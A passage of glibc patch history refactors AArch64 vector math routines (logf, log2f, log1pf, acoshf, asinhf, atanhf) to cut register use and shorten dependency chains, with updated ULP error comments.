+--- a/sysdeps/aarch64/fpu/log2f_sve.c
++++ b/sysdeps/aarch64/fpu/log2f_sve.c
+@@ -23,6 +23,7 @@ static const struct data
+ {
+   float poly_02468[5];
+   float poly_1357[4];
++  uint32_t off, lower;
+ } data = {
+   .poly_1357 = {
+     /* Coefficients copied from the AdvSIMD routine, then rearranged so that coeffs
+@@ -32,18 +33,23 @@ static const struct data
+   },
+   .poly_02468 = { 0x1.715476p0f, 0x1.ec701cp-2f, 0x1.27a0b8p-2f,
+ 		  0x1.9d8ecap-3f, 0x1.9e495p-3f },
++  .off = 0x3f2aaaab,
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .lower = 0x00800000 - 0x3f2aaaab
+ };
+ 
+-#define Min (0x00800000)
+-#define Max (0x7f800000)
+-#define Thres (0x7f000000) /* Max - Min.  */
++#define Thresh (0x7f000000) /* asuint32(inf) - 0x00800000.  */
+ #define MantissaMask (0x007fffff)
+-#define Off (0x3f2aaaab) /* 0.666667.  */
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t cmp)
++special_case (svuint32_t u_off, svfloat32_t p, svfloat32_t r2, svfloat32_t y,
++	      svbool_t cmp)
+ {
+-  return sv_call_f32 (log2f, x, y, cmp);
++  return sv_call_f32 (
++      log2f, svreinterpret_f32 (svadd_x (svptrue_b32 (), u_off, data.off)),
++      svmla_x (svptrue_b32 (), p, r2, y), cmp);
+ }
+ 
+ /* Optimised implementation of SVE log2f, using the same algorithm
+@@ -55,19 +61,20 @@ svfloat32_t SV_NAME_F1 (log2) (svfloat32_t x, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
+-  svuint32_t u = svreinterpret_u32 (x);
+-  svbool_t special = svcmpge (pg, svsub_x (pg, u, Min), Thres);
++  svuint32_t u_off = svreinterpret_u32 (x);
++
++  u_off = svsub_x (pg, u_off, d->off);
++  svbool_t special = svcmpge (pg, svsub_x (pg, u_off, d->lower), Thresh);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u = svsub_x (pg, u, Off);
+   svfloat32_t n = svcvt_f32_x (
+-      pg, svasr_x (pg, svreinterpret_s32 (u), 23)); /* Sign-extend.  */
+-  u = svand_x (pg, u, MantissaMask);
+-  u = svadd_x (pg, u, Off);
++      pg, svasr_x (pg, svreinterpret_s32 (u_off), 23)); /* Sign-extend.  */
++  svuint32_t u = svand_x (pg, u_off, MantissaMask);
++  u = svadd_x (pg, u, d->off);
+   svfloat32_t r = svsub_x (pg, svreinterpret_f32 (u), 1.0f);
+ 
+   /* y = log2(1+r) + n.  */
+-  svfloat32_t r2 = svmul_x (pg, r, r);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
+ 
+   /* Evaluate polynomial using pairwise Horner scheme.  */
+   svfloat32_t p_1357 = svld1rq (svptrue_b32 (), &d->poly_1357[0]);
+@@ -81,6 +88,6 @@ svfloat32_t SV_NAME_F1 (log2) (svfloat32_t x, const svbool_t pg)
+   y = svmla_x (pg, q_01, r2, y);
+ 
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svmla_x (svnot_z (pg, special), n, r, y), special);
+-  return svmla_x (pg, n, r, y);
++    return special_case (u_off, n, r, y, special);
++  return svmla_x (svptrue_b32 (), n, r, y);
+ }
+diff --git a/sysdeps/aarch64/fpu/logf_sve.c b/sysdeps/aarch64/fpu/logf_sve.c
+index d64e810cfe..5b9324678d 100644
+--- a/sysdeps/aarch64/fpu/logf_sve.c
++++ b/sysdeps/aarch64/fpu/logf_sve.c
+@@ -24,6 +24,7 @@ static const struct data
+   float poly_0135[4];
+   float poly_246[3];
+   float ln2;
++  uint32_t off, lower;
+ } data = {
+   .poly_0135 = {
+     /* Coefficients copied from the AdvSIMD routine in math/, then rearranged so
+@@ -32,19 +33,24 @@ static const struct data
+     -0x1.3e737cp-3f, 0x1.5a9aa2p-3f, 0x1.961348p-3f, 0x1.555d7cp-2f
+   },
+   .poly_246 = { -0x1.4f9934p-3f, -0x1.00187cp-2f, -0x1.ffffc8p-2f },
+-  .ln2 = 0x1.62e43p-1f
++  .ln2 = 0x1.62e43p-1f,
++  .off = 0x3f2aaaab,
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .lower = 0x00800000 - 0x3f2aaaab
+ };
+ 
+-#define Min (0x00800000)
+-#define Max (0x7f800000)
+-#define Thresh (0x7f000000) /* Max - Min.  */
++#define Thresh (0x7f000000) /* asuint32(inf) - 0x00800000.  */
+ #define Mask (0x007fffff)
+-#define Off (0x3f2aaaab) /* 0.666667.  */
+ 
+ static svfloat32_t NOINLINE
+-special_case (svfloat32_t x, svfloat32_t y, svbool_t cmp)
++special_case (svuint32_t u_off, svfloat32_t p, svfloat32_t r2, svfloat32_t y,
++	      svbool_t cmp)
+ {
+-  return sv_call_f32 (logf, x, y, cmp);
++  return sv_call_f32 (
++      logf, svreinterpret_f32 (svadd_x (svptrue_b32 (), u_off, data.off)),
++      svmla_x (svptrue_b32 (), p, r2, y), cmp);
+ }
+ 
+ /* Optimised implementation of SVE logf, using the same algorithm and
+@@ -55,19 +61,21 @@ svfloat32_t SV_NAME_F1 (log) (svfloat32_t x, const svbool_t pg)
+ {
+   const struct data *d = ptr_barrier (&data);
+ 
+-  svuint32_t u = svreinterpret_u32 (x);
+-  svbool_t cmp = svcmpge (pg, svsub_x (pg, u, Min), Thresh);
++  svuint32_t u_off = svreinterpret_u32 (x);
++
++  u_off = svsub_x (pg, u_off, d->off);
++  svbool_t cmp = svcmpge (pg, svsub_x (pg, u_off, d->lower), Thresh);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u = svsub_x (pg, u, Off);
+   svfloat32_t n = svcvt_f32_x (
+-      pg, svasr_x (pg, svreinterpret_s32 (u), 23)); /* Sign-extend.  */
+-  u = svand_x (pg, u, Mask);
+-  u = svadd_x (pg, u, Off);
++      pg, svasr_x (pg, svreinterpret_s32 (u_off), 23)); /* Sign-extend.  */
++
++  svuint32_t u = svand_x (pg, u_off, Mask);
++  u = svadd_x (pg, u, d->off);
+   svfloat32_t r = svsub_x (pg, svreinterpret_f32 (u), 1.0f);
+ 
+   /* y = log(1+r) + n*ln2.  */
+-  svfloat32_t r2 = svmul_x (pg, r, r);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
+   /* n*ln2 + r + r2*(P6 + r*P5 + r2*(P4 + r*P3 + r2*(P2 + r*P1 + r2*P0))).  */
+   svfloat32_t p_0135 = svld1rq (svptrue_b32 (), &d->poly_0135[0]);
+   svfloat32_t p = svmla_lane (sv_f32 (d->poly_246[0]), r, p_0135, 1);
+@@ -80,6 +88,6 @@ svfloat32_t SV_NAME_F1 (log) (svfloat32_t x, const svbool_t pg)
+   p = svmla_x (pg, r, n, d->ln2);
+ 
+   if (__glibc_unlikely (svptest_any (pg, cmp)))
+-    return special_case (x, svmla_x (svnot_z (pg, cmp), p, r2, y), cmp);
++    return special_case (u_off, p, r2, y, cmp);
+   return svmla_x (pg, p, r2, y);
+ }
+
+commit 520240173029fd03388ec01db9a5359291cbbd27
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 23 15:32:14 2024 +0100
+
+    AArch64: Improve codegen in users of AdvSIMD log1pf helper
+    
+    log1pf is quite register-intensive - use fewer registers for the
+    polynomial, and make various changes to shorten dependency chains in
+    parent routines.  There is now no spilling with GCC 14.  Accuracy moves
+    around a little - comments adjusted accordingly but does not require
+    regen-ulps.
+    
+    Use the helper in log1pf as well, instead of having separate
+    implementations.  The more accurate polynomial means special-casing can
+    be simplified, and the shorter dependency chain avoids the usual dance
+    around v0, which is otherwise difficult.
+    
+    There is a small duplication of vectors containing 1.0f (or 0x3f800000) -
+    GCC is not currently able to efficiently handle values which fit in FMOV
+    but not MOVI, and are reinterpreted to integer.  There may be potential
+    for more optimisation if this is fixed.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 5bc100bd4b7e00db3009ae93d25d303341545d23)
+
+diff --git a/sysdeps/aarch64/fpu/acoshf_advsimd.c b/sysdeps/aarch64/fpu/acoshf_advsimd.c
+index 8916dcbf40..004474acf9 100644
+--- a/sysdeps/aarch64/fpu/acoshf_advsimd.c
++++ b/sysdeps/aarch64/fpu/acoshf_advsimd.c
+@@ -25,35 +25,32 @@ const static struct data
+ {
+   struct v_log1pf_data log1pf_consts;
+   uint32x4_t one;
+-  uint16x4_t thresh;
+-} data = {
+-  .log1pf_consts = V_LOG1PF_CONSTANTS_TABLE,
+-  .one = V4 (0x3f800000),
+-  .thresh = V4 (0x2000) /* top(asuint(SquareLim) - asuint(1)).  */
+-};
++} data = { .log1pf_consts = V_LOG1PF_CONSTANTS_TABLE, .one = V4 (0x3f800000) };
++
++#define Thresh vdup_n_u16 (0x2000) /* top(asuint(SquareLim) - asuint(1)).  */
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+ special_case (float32x4_t x, float32x4_t y, uint16x4_t special,
+-	      const struct v_log1pf_data d)
++	      const struct v_log1pf_data *d)
+ {
+   return v_call_f32 (acoshf, x, log1pf_inline (y, d), vmovl_u16 (special));
+ }
+ 
+ /* Vector approximation for single-precision acosh, based on log1p. Maximum
+    error depends on WANT_SIMD_EXCEPT. With SIMD fp exceptions enabled, it
+-   is 2.78 ULP:
+-   __v_acoshf(0x1.07887p+0) got 0x1.ef9e9cp-3
+-			   want 0x1.ef9ea2p-3.
++   is 3.00 ULP:
++   _ZGVnN4v_acoshf(0x1.01df3ap+0) got 0x1.ef0a82p-4
++				 want 0x1.ef0a7cp-4.
+    With exceptions disabled, we can compute u with a shorter dependency chain,
+-   which gives maximum error of 3.07 ULP:
+-  __v_acoshf(0x1.01f83ep+0) got 0x1.fbc7fap-4
+-			   want 0x1.fbc7f4p-4.  */
++   which gives maximum error of 3.22 ULP:
++   _ZGVnN4v_acoshf(0x1.007ef2p+0) got 0x1.fdcdccp-5
++				 want 0x1.fdcdd2p-5.  */
+ 
+ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (acosh) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+   uint32x4_t ix = vreinterpretq_u32_f32 (x);
+-  uint16x4_t special = vcge_u16 (vsubhn_u32 (ix, d->one), d->thresh);
++  uint16x4_t special = vcge_u16 (vsubhn_u32 (ix, d->one), Thresh);
+ 
+ #if WANT_SIMD_EXCEPT
+   /* Mask special lanes with 1 to side-step spurious invalid or overflow. Use
+@@ -64,15 +61,16 @@ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (acosh) (float32x4_t x)
+   float32x4_t xm1 = v_zerofy_f32 (vsubq_f32 (x, v_f32 (1)), p);
+   float32x4_t u = vfmaq_f32 (vaddq_f32 (xm1, xm1), xm1, xm1);
+ #else
+-  float32x4_t xm1 = vsubq_f32 (x, v_f32 (1));
+-  float32x4_t u = vmulq_f32 (xm1, vaddq_f32 (x, v_f32 (1.0f)));
++  float32x4_t xm1 = vsubq_f32 (x, vreinterpretq_f32_u32 (d->one));
++  float32x4_t u
++      = vmulq_f32 (xm1, vaddq_f32 (x, vreinterpretq_f32_u32 (d->one)));
+ #endif
+ 
+   float32x4_t y = vaddq_f32 (xm1, vsqrtq_f32 (u));
+ 
+   if (__glibc_unlikely (v_any_u16h (special)))
+-    return special_case (x, y, special, d->log1pf_consts);
+-  return log1pf_inline (y, d->log1pf_consts);
++    return special_case (x, y, special, &d->log1pf_consts);
++  return log1pf_inline (y, &d->log1pf_consts);
+ }
+ libmvec_hidden_def (V_NAME_F1 (acosh))
+ HALF_WIDTH_ALIAS_F1 (acosh)
+diff --git a/sysdeps/aarch64/fpu/asinhf_advsimd.c b/sysdeps/aarch64/fpu/asinhf_advsimd.c
+index 09fd8a6143..eb789b91b6 100644
+--- a/sysdeps/aarch64/fpu/asinhf_advsimd.c
++++ b/sysdeps/aarch64/fpu/asinhf_advsimd.c
+@@ -20,16 +20,16 @@
+ #include "v_math.h"
+ #include "v_log1pf_inline.h"
+ 
+-#define SignMask v_u32 (0x80000000)
+-
+ const static struct data
+ {
+   struct v_log1pf_data log1pf_consts;
++  float32x4_t one;
+   uint32x4_t big_bound;
+ #if WANT_SIMD_EXCEPT
+   uint32x4_t tiny_bound;
+ #endif
+ } data = {
++  .one = V4 (1),
+   .log1pf_consts = V_LOG1PF_CONSTANTS_TABLE,
+   .big_bound = V4 (0x5f800000), /* asuint(0x1p64).  */
+ #if WANT_SIMD_EXCEPT
+@@ -38,20 +38,27 @@ const static struct data
+ };
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, uint32x4_t sign, float32x4_t y,
++	      uint32x4_t special, const struct data *d)
+ {
+-  return v_call_f32 (asinhf, x, y, special);
++  return v_call_f32 (
++      asinhf, x,
++      vreinterpretq_f32_u32 (veorq_u32 (
++	  sign, vreinterpretq_u32_f32 (log1pf_inline (y, &d->log1pf_consts)))),
++      special);
+ }
+ 
+ /* Single-precision implementation of vector asinh(x), using vector log1p.
+-   Worst-case error is 2.66 ULP, at roughly +/-0.25:
+-   __v_asinhf(0x1.01b04p-2) got 0x1.fe163ep-3 want 0x1.fe1638p-3.  */
++   Worst-case error is 2.59 ULP:
++   _ZGVnN4v_asinhf(0x1.d86124p-3) got 0x1.d449bep-3
++				 want 0x1.d449c4p-3.  */
+ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (asinh) (float32x4_t x)
+ {
+   const struct data *dat = ptr_barrier (&data);
+-  uint32x4_t iax = vbicq_u32 (vreinterpretq_u32_f32 (x), SignMask);
+-  float32x4_t ax = vreinterpretq_f32_u32 (iax);
++  float32x4_t ax = vabsq_f32 (x);
++  uint32x4_t iax = vreinterpretq_u32_f32 (ax);
+   uint32x4_t special = vcgeq_u32 (iax, dat->big_bound);
++  uint32x4_t sign = veorq_u32 (vreinterpretq_u32_f32 (x), iax);
+   float32x4_t special_arg = x;
+ 
+ #if WANT_SIMD_EXCEPT
+@@ -68,13 +75,13 @@ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (asinh) (float32x4_t x)
+   /* asinh(x) = log(x + sqrt(x * x + 1)).
+      For positive x, asinh(x) = log1p(x + x * x / (1 + sqrt(x * x + 1))).  */
+   float32x4_t d
+-      = vaddq_f32 (v_f32 (1), vsqrtq_f32 (vfmaq_f32 (v_f32 (1), x, x)));
+-  float32x4_t y = log1pf_inline (
+-      vaddq_f32 (ax, vdivq_f32 (vmulq_f32 (ax, ax), d)), dat->log1pf_consts);
++      = vaddq_f32 (v_f32 (1), vsqrtq_f32 (vfmaq_f32 (dat->one, ax, ax)));
++  float32x4_t y = vaddq_f32 (ax, vdivq_f32 (vmulq_f32 (ax, ax), d));
+ 
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (special_arg, vbslq_f32 (SignMask, x, y), special);
+-  return vbslq_f32 (SignMask, x, y);
++    return special_case (special_arg, sign, y, special, dat);
++  return vreinterpretq_f32_u32 (veorq_u32 (
++      sign, vreinterpretq_u32_f32 (log1pf_inline (y, &dat->log1pf_consts))));
+ }
+ libmvec_hidden_def (V_NAME_F1 (asinh))
+ HALF_WIDTH_ALIAS_F1 (asinh)
+diff --git a/sysdeps/aarch64/fpu/atanhf_advsimd.c b/sysdeps/aarch64/fpu/atanhf_advsimd.c
+index ae488f7b54..818b6c92ad 100644
+--- a/sysdeps/aarch64/fpu/atanhf_advsimd.c
++++ b/sysdeps/aarch64/fpu/atanhf_advsimd.c
+@@ -40,15 +40,17 @@ const static struct data
+ #define Half v_u32 (0x3f000000)
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, float32x4_t halfsign, float32x4_t y,
++	      uint32x4_t special)
+ {
+-  return v_call_f32 (atanhf, x, y, special);
++  return v_call_f32 (atanhf, vbslq_f32 (AbsMask, x, halfsign),
++		     vmulq_f32 (halfsign, y), special);
+ }
+ 
+ /* Approximation for vector single-precision atanh(x) using modified log1p.
+-   The maximum error is 3.08 ULP:
+-   __v_atanhf(0x1.ff215p-5) got 0x1.ffcb7cp-5
+-			   want 0x1.ffcb82p-5.  */
++   The maximum error is 2.93 ULP:
++   _ZGVnN4v_atanhf(0x1.f43d7p-5) got 0x1.f4dcfep-5
++				want 0x1.f4dcf8p-5.  */
+ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (atanh) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+@@ -68,11 +70,19 @@ VPCS_ATTR float32x4_t NOINLINE V_NAME_F1 (atanh) (float32x4_t x)
+   uint32x4_t special = vcgeq_u32 (iax, d->one);
+ #endif
+ 
+-  float32x4_t y = vdivq_f32 (vaddq_f32 (ax, ax), vsubq_f32 (v_f32 (1), ax));
+-  y = log1pf_inline (y, d->log1pf_consts);
++  float32x4_t y = vdivq_f32 (vaddq_f32 (ax, ax),
++			     vsubq_f32 (vreinterpretq_f32_u32 (d->one), ax));
++  y = log1pf_inline (y, &d->log1pf_consts);
+ 
++  /* If exceptions not required, pass ax to special-case for shorter dependency
++     chain. If exceptions are required ax will have been zerofied, so have to
++     pass x.  */
+   if (__glibc_unlikely (v_any_u32 (special)))
+-    return special_case (x, vmulq_f32 (halfsign, y), special);
++#if WANT_SIMD_EXCEPT
++    return special_case (x, halfsign, y, special);
++#else
++    return special_case (ax, halfsign, y, special);
++#endif
+   return vmulq_f32 (halfsign, y);
+ }
+ libmvec_hidden_def (V_NAME_F1 (atanh))
+diff --git a/sysdeps/aarch64/fpu/log1pf_advsimd.c b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+index 8cfa28fb8a..00006fc703 100644
+--- a/sysdeps/aarch64/fpu/log1pf_advsimd.c
++++ b/sysdeps/aarch64/fpu/log1pf_advsimd.c
+@@ -18,114 +18,79 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
++#include "v_log1pf_inline.h"
++
++#if WANT_SIMD_EXCEPT
+ 
+ const static struct data
+ {
+-  float32x4_t poly[8], ln2;
+-  uint32x4_t tiny_bound, minus_one, four, thresh;
+-  int32x4_t three_quarters;
++  uint32x4_t minus_one, thresh;
++  struct v_log1pf_data d;
+ } data = {
+-  .poly = { /* Generated using FPMinimax in [-0.25, 0.5]. First two coefficients
+-	       (1, -0.5) are not stored as they can be generated more
+-	       efficiently.  */
+-	    V4 (0x1.5555aap-2f), V4 (-0x1.000038p-2f), V4 (0x1.99675cp-3f),
+-	    V4 (-0x1.54ef78p-3f), V4 (0x1.28a1f4p-3f), V4 (-0x1.0da91p-3f),
+-	    V4 (0x1.abcb6p-4f), V4 (-0x1.6f0d5ep-5f) },
+-  .ln2 = V4 (0x1.62e43p-1f),
+-  .tiny_bound = V4 (0x34000000), /* asuint32(0x1p-23). ulp=0.5 at 0x1p-23.  */
+-  .thresh = V4 (0x4b800000), /* asuint32(INFINITY) - tiny_bound.  */
++  .d = V_LOG1PF_CONSTANTS_TABLE,
++  .thresh = V4 (0x4b800000), /* asuint32(INFINITY) - TinyBound.  */
+   .minus_one = V4 (0xbf800000),
+-  .four = V4 (0x40800000),
+-  .three_quarters = V4 (0x3f400000)
+ };
+ 
+-static inline float32x4_t
+-eval_poly (float32x4_t m, const float32x4_t *p)
+-{
+-  /* Approximate log(1+m) on [-0.25, 0.5] using split Estrin scheme.  */
+-  float32x4_t p_12 = vfmaq_f32 (v_f32 (-0.5), m, p[0]);
+-  float32x4_t p_34 = vfmaq_f32 (p[1], m, p[2]);
+-  float32x4_t p_56 = vfmaq_f32 (p[3], m, p[4]);
+-  float32x4_t p_78 = vfmaq_f32 (p[5], m, p[6]);
+-
+-  float32x4_t m2 = vmulq_f32 (m, m);
+-  float32x4_t p_02 = vfmaq_f32 (m, m2, p_12);
+-  float32x4_t p_36 = vfmaq_f32 (p_34, m2, p_56);
+-  float32x4_t p_79 = vfmaq_f32 (p_78, m2, p[7]);
+-
+-  float32x4_t m4 = vmulq_f32 (m2, m2);
+-  float32x4_t p_06 = vfmaq_f32 (p_02, m4, p_36);
+-  return vfmaq_f32 (p_06, m4, vmulq_f32 (m4, p_79));
+-}
++/* asuint32(0x1p-23). ulp=0.5 at 0x1p-23.  */
++#  define TinyBound v_u32 (0x34000000)
+ 
+ static float32x4_t NOINLINE VPCS_ATTR
+-special_case (float32x4_t x, float32x4_t y, uint32x4_t special)
++special_case (float32x4_t x, uint32x4_t cmp, const struct data *d)
+ {
+-  return v_call_f32 (log1pf, x, y, special);
++  /* Side-step special lanes so fenv exceptions are not triggered
++     inadvertently.  */
++  float32x4_t x_nospecial = v_zerofy_f32 (x, cmp);
++  return v_call_f32 (log1pf, x, log1pf_inline (x_nospecial, &d->d), cmp);
+ }
+ 
+-/* Vector log1pf approximation using polynomial on reduced interval. Accuracy
+-   is roughly 2.02 ULP:
+-   log1pf(0x1.21e13ap-2) got 0x1.fe8028p-3 want 0x1.fe802cp-3.  */
++/* Vector log1pf approximation using polynomial on reduced interval. Worst-case
++   error is 1.69 ULP:
++   _ZGVnN4v_log1pf(0x1.04418ap-2) got 0x1.cfcbd8p-3
++				 want 0x1.cfcbdcp-3.  */
+ VPCS_ATTR float32x4_t V_NAME_F1 (log1p) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-
+   uint32x4_t ix = vreinterpretq_u32_f32 (x);
+   uint32x4_t ia = vreinterpretq_u32_f32 (vabsq_f32 (x));
++
+   uint32x4_t special_cases
+-      = vorrq_u32 (vcgeq_u32 (vsubq_u32 (ia, d->tiny_bound), d->thresh),
++      = vorrq_u32 (vcgeq_u32 (vsubq_u32 (ia, TinyBound), d->thresh),
+ 		   vcgeq_u32 (ix, d->minus_one));
+-  float32x4_t special_arg = x;
+ 
+-#if WANT_SIMD_EXCEPT
+   if (__glibc_unlikely (v_any_u32 (special_cases)))
+-    /* Side-step special lanes so fenv exceptions are not triggered
+-       inadvertently.  */
+-    x = v_zerofy_f32 (x, special_cases);
+-#endif
++    return special_case (x, special_cases, d);
+ 
+-  /* With x + 1 = t * 2^k (where t = m + 1 and k is chosen such that m
+-			   is in [-0.25, 0.5]):
+-     log1p(x) = log(t) + log(2^k) = log1p(m) + k*log(2).
+-
+-     We approximate log1p(m) with a polynomial, then scale by
+-     k*log(2). Instead of doing this directly, we use an intermediate
+-     scale factor s = 4*k*log(2) to ensure the scale is representable
+-     as a normalised fp32 number.  */
++  return log1pf_inline (x, &d->d);
++}
+ 
+-  float32x4_t m = vaddq_f32 (x, v_f32 (1.0f));
++#else
+ 
+-  /* Choose k to scale x to the range [-1/4, 1/2].  */
+-  int32x4_t k
+-      = vandq_s32 (vsubq_s32 (vreinterpretq_s32_f32 (m), d->three_quarters),
+-		   v_s32 (0xff800000));
+-  uint32x4_t ku = vreinterpretq_u32_s32 (k);
++const static struct v_log1pf_data data = V_LOG1PF_CONSTANTS_TABLE;
+ 
+-  /* Scale x by exponent manipulation.  */
+-  float32x4_t m_scale
+-      = vreinterpretq_f32_u32 (vsubq_u32 (vreinterpretq_u32_f32 (x), ku));
++static float32x4_t NOINLINE VPCS_ATTR
++special_case (float32x4_t x, uint32x4_t cmp)
++{
++  return v_call_f32 (log1pf, x, log1pf_inline (x, ptr_barrier (&data)), cmp);
++}
+ 
+-  /* Scale up to ensure that the scale factor is representable as normalised
+-     fp32 number, and scale m down accordingly.  */
+-  float32x4_t s = vreinterpretq_f32_u32 (vsubq_u32 (d->four, ku));
+-  m_scale = vaddq_f32 (m_scale, vfmaq_f32 (v_f32 (-1.0f), v_f32 (0.25f), s));
++/* Vector log1pf approximation using polynomial on reduced interval. Worst-case
++   error is 1.63 ULP:
++   _ZGVnN4v_log1pf(0x1.216d12p-2) got 0x1.fdcb12p-3
++				 want 0x1.fdcb16p-3.  */
++VPCS_ATTR float32x4_t V_NAME_F1 (log1p) (float32x4_t x)
++{
++  uint32x4_t special_cases = vornq_u32 (vcleq_f32 (x, v_f32 (-1)),
++					vcaleq_f32 (x, v_f32 (0x1p127f)));
+ 
+-  /* Evaluate polynomial on the reduced interval.  */
+-  float32x4_t p = eval_poly (m_scale, d->poly);
++  if (__glibc_unlikely (v_any_u32 (special_cases)))
++    return special_case (x, special_cases);
+ 
+-  /* The scale factor to be applied back at the end - by multiplying float(k)
+-     by 2^-23 we get the unbiased exponent of k.  */
+-  float32x4_t scale_back = vcvtq_f32_s32 (vshrq_n_s32 (k, 23));
++  return log1pf_inline (x, ptr_barrier (&data));
++}
+ 
+-  /* Apply the scaling back.  */
+-  float32x4_t y = vfmaq_f32 (p, scale_back, d->ln2);
++#endif
+ 
+-  if (__glibc_unlikely (v_any_u32 (special_cases)))
+-    return special_case (special_arg, y, special_cases);
+-  return y;
+-}
+ libmvec_hidden_def (V_NAME_F1 (log1p))
+ HALF_WIDTH_ALIAS_F1 (log1p)
+ strong_alias (V_NAME_F1 (log1p), V_NAME_F1 (logp1))
+diff --git a/sysdeps/aarch64/fpu/v_log1pf_inline.h b/sysdeps/aarch64/fpu/v_log1pf_inline.h
+index 643a6cdcfc..73e45a942e 100644
+--- a/sysdeps/aarch64/fpu/v_log1pf_inline.h
++++ b/sysdeps/aarch64/fpu/v_log1pf_inline.h
+@@ -25,54 +25,81 @@
+ 
+ struct v_log1pf_data
+ {
+-  float32x4_t poly[8], ln2;
+   uint32x4_t four;
+   int32x4_t three_quarters;
++  float c0, c3, c5, c7;
++  float32x4_t c4, c6, c1, c2, ln2;
+ };
+ 
+ /* Polynomial generated using FPMinimax in [-0.25, 0.5]. First two coefficients
+    (1, -0.5) are not stored as they can be generated more efficiently.  */
+ #define V_LOG1PF_CONSTANTS_TABLE                                              \
+   {                                                                           \
+-    .poly                                                                     \
+-	= { V4 (0x1.5555aap-2f),  V4 (-0x1.000038p-2f), V4 (0x1.99675cp-3f),  \
+-	    V4 (-0x1.54ef78p-3f), V4 (0x1.28a1f4p-3f),	V4 (-0x1.0da91p-3f),  \
+-	    V4 (0x1.abcb6p-4f),	  V4 (-0x1.6f0d5ep-5f) },                     \
+-	.ln2 = V4 (0x1.62e43p-1f), .four = V4 (0x40800000),                   \
+-	.three_quarters = V4 (0x3f400000)                                     \
++    .c0 = 0x1.5555aap-2f, .c1 = V4 (-0x1.000038p-2f),                         \
++    .c2 = V4 (0x1.99675cp-3f), .c3 = -0x1.54ef78p-3f,                         \
++    .c4 = V4 (0x1.28a1f4p-3f), .c5 = -0x1.0da91p-3f,                          \
++    .c6 = V4 (0x1.abcb6p-4f), .c7 = -0x1.6f0d5ep-5f,                          \
++    .ln2 = V4 (0x1.62e43p-1f), .four = V4 (0x40800000),                       \
++    .three_quarters = V4 (0x3f400000)                                         \
+   }
+ 
+ static inline float32x4_t
+-eval_poly (float32x4_t m, const float32x4_t *c)
++eval_poly (float32x4_t m, const struct v_log1pf_data *d)
+ {
+-  /* Approximate log(1+m) on [-0.25, 0.5] using pairwise Horner (main routine
+-     uses split Estrin, but this way reduces register pressure in the calling
+-     routine).  */
+-  float32x4_t q = vfmaq_f32 (v_f32 (-0.5), m, c[0]);
++  /* Approximate log(1+m) on [-0.25, 0.5] using pairwise Horner.  */
++  float32x4_t c0357 = vld1q_f32 (&d->c0);
++  float32x4_t q = vfmaq_laneq_f32 (v_f32 (-0.5), m, c0357, 0);
+   float32x4_t m2 = vmulq_f32 (m, m);
+-  q = vfmaq_f32 (m, m2, q);
+-  float32x4_t p = v_pw_horner_6_f32 (m, m2, c + 1);
++  float32x4_t p67 = vfmaq_laneq_f32 (d->c6, m, c0357, 3);
++  float32x4_t p45 = vfmaq_laneq_f32 (d->c4, m, c0357, 2);
++  float32x4_t p23 = vfmaq_laneq_f32 (d->c2, m, c0357, 1);
++  float32x4_t p = vfmaq_f32 (p45, m2, p67);
++  p = vfmaq_f32 (p23, m2, p);
++  p = vfmaq_f32 (d->c1, m, p);
+   p = vmulq_f32 (m2, p);
+-  return vfmaq_f32 (q, m2, p);
++  p = vfmaq_f32 (m, m2, p);
++  return vfmaq_f32 (p, m2, q);
+ }
+ 
+ static inline float32x4_t
+-log1pf_inline (float32x4_t x, const struct v_log1pf_data d)
++log1pf_inline (float32x4_t x, const struct v_log1pf_data *d)
+ {
+-  /* Helper for calculating log(x + 1). Copied from log1pf_2u1.c, with no
+-     special-case handling. See that file for details of the algorithm.  */
++  /* Helper for calculating log(x + 1).  */
++
++  /* With x + 1 = t * 2^k (where t = m + 1 and k is chosen such that m
++			   is in [-0.25, 0.5]):
++     log1p(x) = log(t) + log(2^k) = log1p(m) + k*log(2).
++
++     We approximate log1p(m) with a polynomial, then scale by
++     k*log(2). Instead of doing this directly, we use an intermediate
++     scale factor s = 4*k*log(2) to ensure the scale is representable
++     as a normalised fp32 number.  */
+   float32x4_t m = vaddq_f32 (x, v_f32 (1.0f));
++
++  /* Choose k to scale x to the range [-1/4, 1/2].  */
+   int32x4_t k
+-      = vandq_s32 (vsubq_s32 (vreinterpretq_s32_f32 (m), d.three_quarters),
++      = vandq_s32 (vsubq_s32 (vreinterpretq_s32_f32 (m), d->three_quarters),
+ 		   v_s32 (0xff800000));
+   uint32x4_t ku = vreinterpretq_u32_s32 (k);
+-  float32x4_t s = vreinterpretq_f32_u32 (vsubq_u32 (d.four, ku));
++
